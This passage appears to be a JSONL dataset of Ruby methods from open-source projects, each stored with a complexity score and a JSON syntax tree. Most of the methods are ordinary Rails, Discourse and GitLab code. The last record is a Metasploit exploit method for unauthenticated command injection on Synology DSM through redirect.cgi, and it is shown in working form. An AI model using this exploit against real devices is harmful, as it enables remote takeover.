end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"api/deploymentprocesses/deploymentprocess-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"str\",\"children\":[\"/template?channel=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_octopus_get_request\",{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"Get version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"parse_json_response\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NextVersionIncrement\"]}]}]}]}","id":"e428132d-76aa-4e7d-92ec-d0f4734c7afc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/lib/group.rb","start_line":99,"raw_source":"def projects_with_security_policy_projects(group)\n          response = get_group_projects_graphql(group)\n          projects = response&.dig(:data, :group, :projects, :nodes)\n          projects.select do |project|\n            project&.dig(:securityPolicyProject).present?\n          end\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"projects_with_security_policy_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_group_projects_graphql\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"sym\",\"children\":[\"nodes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"securityPolicyProject\"]}]},\"present?\"]}]}]}]}","id":"30341d51-9fcf-4022-849b-111ee4d87f9f"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/log_subscriber.rb","start_line":16,"raw_source":"def service_download(event)\n      info event, color(\"Downloaded file from key: #{key_in(event)}\", BLUE)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"service_download\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[null,\"color\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Downloaded file from key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_in\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"const\",\"children\":[null,\"BLUE\"]}]}]}]}","id":"b7dee67a-f687-4acc-a8fa-36144cd50573"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200117141138_update_post_reply_indexes.rb","start_line":8,"raw_source":"def up\n    if !index_exists?(:post_replies, %i[post_id reply_post_id])\n      add_index :post_replies, %i[post_id reply_post_id], unique: true, algorithm: :concurrently\n    end\n\n    if !index_exists?(:post_replies, [:reply_post_id])\n      add_index :post_replies, [:reply_post_id], algorithm: :concurrently\n    end\n\n    if index_exists?(:post_replies, %i[post_id reply_id])\n      remove_index :post_replies, column: %i[post_id reply_id], algorithm: :concurrently\n    end\n\n    if index_exists?(:post_replies, [:reply_id])\n      remove_index :post_replies, column: [:reply_id], algorithm: :concurrently\n    end\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"reply_post_id\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"reply_post_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_post_id\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_post_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"reply_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"sym\",\"children\":[\"reply_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]}]}]}","id":"f64fe84e-c02f-4cd8-ac2d-de128723fab5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":91,"raw_source":"def test_should_return_integer_average_if_db_returns_such\n    value = Book.average(:status)\n\n    assert_equal 1.0, value\n    assert_instance_of BigDecimal, value\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_integer_average_if_db_returns_such\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"average\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[1.0]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"BigDecimal\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"3e5718d4-5601-4467-b040-12030762d180"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/allowlisted_generic_onebox.rb","start_line":225,"raw_source":"def is_video?\n        # Many sites include 'videos' with text/html types (i.e. iframes)\n        data[:type] =~ %r{^video[/\\.]} && data[:video_type] == \"video/mp4\" && data[:video].present?\n      end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"is_video?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^video[/\\\\.]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"video_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"video/mp4\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"video\"]}]},\"present?\"]}]}]}","id":"be3ecf95-125d-42ce-827e-d293733c86d7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":749,"raw_source":"def test_etag_reflects_template_digest\n    get :hello_world\n    assert_response :ok\n    assert_not_nil etag = @response.etag\n\n    request.if_none_match = etag\n    get :hello_world\n    assert_response :not_modified\n\n    modify_template(\"namespaced/implicit_render_test/hello_world\") do\n      request.if_none_match = etag\n      get :hello_world\n      assert_response :ok\n      assert_not_equal etag, @response.etag\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_etag_reflects_template_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvasgn\",\"children\":[\"etag\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"if_none_match=\",{\"type\":\"lvar\",\"children\":[\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_modified\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modify_template\",{\"type\":\"str\",\"children\":[\"namespaced/implicit_render_test/hello_world\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"if_none_match=\",{\"type\":\"lvar\",\"children\":[\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"etag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]}]}]}]}]}","id":"410ec5a7-efcb-4814-b436-a510913dfa0b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/create_artifact.rb","start_line":238,"raw_source":"def artifact_system_prompt\n          <<~PROMPT\n            You are a web development expert creating HTML, CSS, and JavaScript code.\n            Follow these instructions precisely:\n\n            1. Provide complete source code for all three required sections: HTML, CSS, and JavaScript\n            2. Use exact section tags: [HTML]/[/HTML], [CSS]/[/CSS], [JavaScript]/[/JavaScript]\n            3. Format requirements:\n               - HTML: No <html>, <head>, or <body> tags\n               - CSS: Valid CSS rules\n               - JavaScript: Clean, working code\n            4. NEVER USE SHORTCUTS - generate complete code for each section. No placeholders.\n            5. If you need to source ANY 3rd party libraries, use the following CDNs:\n            #{AiArtifact::ALLOWED_CDN_SOURCES.join(\"\\n\")}\n\n            6. When sourcing libraries, include them in the [HTML] section, for example: <script src=\"https://cdn.jsdelivr.net/....\"></script>\n\n            Required response format:\n\n            [HTML]\n            <div id=\"app\"><!-- Your complete HTML here --></div>\n            [/HTML]\n\n            [CSS]\n            #app { /* Your complete CSS here */ }\n            [/CSS]\n\n            [JavaScript]\n            // Your complete JavaScript here\n            [/JavaScript]\n\n            Important:\n            - All three sections are required\n            - Sections must use exact tags shown above\n            - Focus on simplicity and reliability\n            - Include basic error handling\n            - Follow accessibility guidelines\n            - No explanatory text, only code\n\n            #{storage_api}\n          PROMPT\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"artifact_system_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You are a web development expert creating HTML, CSS, and JavaScript code.\\n\"]},{\"type\":\"str\",\"children\":[\"Follow these instructions precisely:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"1. Provide complete source code for all three required sections: HTML, CSS, and JavaScript\\n\"]},{\"type\":\"str\",\"children\":[\"2. Use exact section tags: [HTML]/[/HTML], [CSS]/[/CSS], [JavaScript]/[/JavaScript]\\n\"]},{\"type\":\"str\",\"children\":[\"3. Format requirements:\\n\"]},{\"type\":\"str\",\"children\":[\"   - HTML: No <html>, <head>, or <body> tags\\n\"]},{\"type\":\"str\",\"children\":[\"   - CSS: Valid CSS rules\\n\"]},{\"type\":\"str\",\"children\":[\"   - JavaScript: Clean, working code\\n\"]},{\"type\":\"str\",\"children\":[\"4. NEVER USE SHORTCUTS - generate complete code for each section. No placeholders.\\n\"]},{\"type\":\"str\",\"children\":[\"5. If you need to source ANY 3rd party libraries, use the following CDNs:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiArtifact\"]},\"ALLOWED_CDN_SOURCES\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"6. When sourcing libraries, include them in the [HTML] section, for example: <script src=\\\"https://cdn.jsdelivr.net/....\\\"></script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Required response format:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"[HTML]\\n\"]},{\"type\":\"str\",\"children\":[\"<div id=\\\"app\\\"><!-- Your complete HTML here --></div>\\n\"]},{\"type\":\"str\",\"children\":[\"[/HTML]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"[CSS]\\n\"]},{\"type\":\"str\",\"children\":[\"#app { /* Your complete CSS here */ }\\n\"]},{\"type\":\"str\",\"children\":[\"[/CSS]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"[JavaScript]\\n\"]},{\"type\":\"str\",\"children\":[\"// Your complete JavaScript here\\n\"]},{\"type\":\"str\",\"children\":[\"[/JavaScript]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Important:\\n\"]},{\"type\":\"str\",\"children\":[\"- All three sections are required\\n\"]},{\"type\":\"str\",\"children\":[\"- Sections must use exact tags shown above\\n\"]},{\"type\":\"str\",\"children\":[\"- Focus on simplicity and reliability\\n\"]},{\"type\":\"str\",\"children\":[\"- Include basic error handling\\n\"]},{\"type\":\"str\",\"children\":[\"- Follow accessibility guidelines\\n\"]},{\"type\":\"str\",\"children\":[\"- No explanatory text, only code\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"209cf2e5-eb0b-4e71-a6f2-4f682dc7931d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/project_export_worker.rb","start_line":59,"raw_source":"def log_exporters_duration(export_service)\n    export_service.exporters.each do |exporter|\n      exporter_key = :\"#{exporter.class.name.demodulize.underscore}_duration_s\" # e.g. uploads_saver_duration_s\n      exporter_duration = exporter.duration_s&.round(6)\n\n      log_extra_metadata_on_done(exporter_key, exporter_duration)\n    end\n  end","complexity_score":15.85,"ast_json":"{\"type\":\"def\",\"children\":[\"log_exporters_duration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export_service\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export_service\"]},\"exporters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exporter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exporter_key\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exporter\"]},\"class\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"_duration_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exporter_duration\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exporter\"]},\"duration_s\"]},\"round\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"lvar\",\"children\":[\"exporter_key\"]},{\"type\":\"lvar\",\"children\":[\"exporter_duration\"]}]}]}]}]}","id":"28aad91d-b087-407f-aebf-dba8d9e14852"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/persistence/mongoid_persistence.rb","start_line":69,"raw_source":"def aasm_update_column(attribute_name, value)\n          if Mongoid::VERSION.to_f >= 4\n            set(Hash[attribute_name, value])\n          else\n            set(attribute_name, value)\n          end\n\n          true\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"aasm_update_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mongoid\"]},\"VERSION\"]},\"to_f\"]},\">=\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"342561c3-3164-4c64-a541-64e1d14ab206"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/stats.rb","start_line":77,"raw_source":"def filter_existing_stats(stats)\n    return stats if stats.empty?\n\n    existing_stats_lookup = {}\n    user.stats.select(:year, :month).each do |stat|\n      key = [stat.year, stat.month]\n      existing_stats_lookup[key] = true\n    end\n\n    filtered_stats = stats.reject do |stat|\n      key = [stat[:year], stat[:month]]\n      if existing_stats_lookup[key]\n        Rails.logger.debug \"Stat already exists: #{stat[:year]}-#{stat[:month]}\"\n        true\n      else\n        false\n      end\n    end\n\n    filtered_stats\n  end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_existing_stats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stats\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"existing_stats_lookup\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"stats\"]},\"select\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"sym\",\"children\":[\"month\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"month\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_stats_lookup\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_stats\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_stats_lookup\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stat already exists: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"filtered_stats\"]}]}]}","id":"d7476c0a-74f7-4097-8308-cce2abfe2bb4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb","start_line":107,"raw_source":"def exploit\n    cmds = [\n      # sed is used to restore the redirect.cgi\n      \"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi\",\n      payload.encoded\n    ].join(\"\\n\")\n\n    mime_msg = Rex::MIME::Message.new\n    mime_msg.add_part('login', nil, nil, 'form-data; name=\"source\"')\n    mime_msg.add_part('logo', nil, nil, 'form-data; name=\"type\"')\n\n    # unfortunately, Rex::MIME::Message canonicalizes line breaks to \\r\\n,\n    # so we use a placeholder and replace it later\n    cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)\n    mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,\n                      'form-data; name=\"foo\"; filename=\"bar\"')\n\n    post_body = mime_msg.to_s\n    post_body.strip!\n    post_body.sub!(cmd_placeholder, cmds)\n\n    # fix multipart encoding\n    post_body.gsub!(/\\r\\n(--#{mime_msg.bound})/, '  \\\\1')\n\n    # send request to append shell commands\n    print_status(\"Injecting the payload...\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri('webman', 'imageSelector.cgi'),\n      'ctype' => \"multipart/form-data; boundary=#{mime_msg.bound}\",\n      'headers' => {\n        'X-TYPE-NAME' => 'SLICEUPLOAD',\n        'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'\n      },\n      'data' => post_body\n    })\n\n    unless res and res.code == 200 and res.body.include?('error_noprivilege')\n      fail_with(Failure::Unknown, \"#{peer} - Unexpected response, probably the exploit failed\")\n    end\n\n    # send request to invoke the injected shell commands\n    print_status(\"Executing the payload...\")\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri('redirect.cgi'),\n    })\n\n    # Read command output if cmd/unix/generic payload was used\n    if datastore['CMD']\n      unless res and res.code == 200\n        fail_with(Failure::Unknown, \"#{peer} - Unexpected response, probably the exploit failed\")\n      end\n\n      print_good(\"Command successfully executed\")\n      print_line(res.body)\n    end\n  end","complexity_score":54.13,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmds\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mime_msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"source\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"logo\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"type\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_placeholder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_msg\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"cmd_placeholder\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"foo\\\"; 